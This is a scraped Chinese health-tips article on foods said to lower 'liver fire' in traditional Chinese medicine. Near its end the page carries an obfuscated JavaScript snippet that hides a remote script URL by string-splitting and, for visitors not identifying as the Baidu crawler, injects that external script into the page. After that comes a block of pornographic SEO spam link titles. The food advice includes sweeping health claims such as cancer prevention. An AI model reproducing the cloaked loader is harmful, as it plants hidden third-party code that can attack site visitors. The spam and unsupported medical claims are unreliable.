<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 飲食 > 食物營養 > 正文

      吃什么食物可以起到降肝火的作用

      2017-07-11 18:06:03  來源:360常識網   熱度:
      導語:肝臟是人體非常重要的器官,也是很容易出現毛病的,像肝火旺盛就屬于典型的例子,在中醫的范疇之內。可能很多人都經受過肝火旺的情況,所產

      肝臟是人體非常重要的器官,也是很容易出現毛病的,像肝火旺盛就屬于典型的例子,在中醫的范疇之內。可能很多人都經受過肝火旺的情況,所產生的癥狀非常的難受。其實,肝火旺通過好的飲食方式是能夠獲得不錯的改善效果的,只要我們能夠充分的認識,解決起來并不是很難。那么,吃什么食物可以起到降肝火的作用?

      肝火旺,中醫稱“肝火上升”,是屬人體內臟氣血調節出了問題,并不是很嚴重的疾病。中醫用“火”來形容身體內的某些熱性癥狀,上火的程度較“熱氣”還重。一般所說的上火,也就是人體陰陽失衡后出現的內熱癥。中醫認為“火”的病理可分虛實兩大類,常見的上火癥狀有心火和肝火兩種。不嚴重時,會出現皮膚干裂,口舌生瘡,心煩肺熱等。因此,肝火上升不要吊以輕心,要及時調節營養,去火養肝。平時有人在與人爭執時大發雷霆,所以也比作大動肝火,肝火旺。發脾氣也傷肝的,因此,無論遇上什么事不要發火生氣,以免傷肝。

      肝火旺可以吃的性平水果有:李子、花紅(沙果)、菠蘿(菠蘿)、葡萄、橄欖、葵花子、香榧子、南瓜子、芡實(雞頭果)、蓮子、椰子汁、柏子仁、花生、白果、榛子、山楂、板栗;

      肝火旺可以吃的性寒水果有:柿子、柿餅、柚子、香蕉、桑葚、洋桃(楊桃)、無花果、獼猴桃(奇異果)、甘蔗、西瓜、甜瓜(香瓜)。

      李子味甘、酸,性涼,能清肝熱,生津液,含糖、微量蛋白質、脂肪、胡蘿卜素、維生素B1、B2、C,對于調節肝虛有熱,虛勞骨蒸;胃陰不足,口中干渴很有效果;蘋果被稱為“全方位的健康水果”,可生津潤肺,健脾開胃,并可降低血脂、降血壓、預防癌癥、強化骨骼、維持酸堿平衡、抗氧化作用。

      蘋果(微涼)、梨、蘆柑、橙子、草莓(性微涼)、芒果、枇杷、羅漢果、菱、蓮子芯、百合;

      肝火旺造成的危害非常大,吃什么食物可以起到降肝火的作用?大家可以借鑒這些食物,都是生活中比較常見的,適時的進行調節,對于肝火的改善效果非常好。導致肝火旺盛的因素有很多,我們要注重這方面的了解,只有這樣的話,才能更好的保證我們健康的生活。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 六月婷婷缴清综合在线| 青青草原综合久久大伊人精品| 狠狠做深爱婷婷综合一区| 69国产成人综合久久精品| 亚洲伊人久久综合影院| 亚洲综合自拍成人| 色综合久久最新中文字幕| 91欧美一区二区三区综合在线| 99久久综合国产精品免费| 狠狠人妻久久久久久综合蜜桃| 日韩人妻无码一区二区三区综合部| 丁香五月缴情综合网| 色综合久久综合中文综合网| 色综合网站国产麻豆| 久久婷婷午色综合夜啪 | 色欲人妻综合AAAAA网| 2020国产精品亚洲综合网| 日韩综合无码一区二区| 欧美伊人久久大香线蕉综合 | 色综合欧美在线视频区| 久久综合给合久久国产免费| 五月天激激婷婷大综合丁香| 久久综合色老色| 亚洲欧美国产日韩综合久久| 久久91精品久久91综合| 精品亚洲综合在线第一区| 婷婷色香五月综合激激情| 久久综合狠狠综合久久综合88 | 久久久久亚洲av综合波多野结衣| 婷婷综合另类小说色区| 婷婷五月综合色视频| 欧美婷婷六月丁香综合色| 色爱无码AV综合区| 亚洲欧美国产∧v精品综合网| 久久综合色区| 欧美伊人久久大香线蕉综合| 97SE亚洲国产综合自在线观看 | 色噜噜狠狠狠综合曰曰曰| 久久婷婷是五月综合色狠狠| 国产色综合天天综合网| 久久99国产综合精品|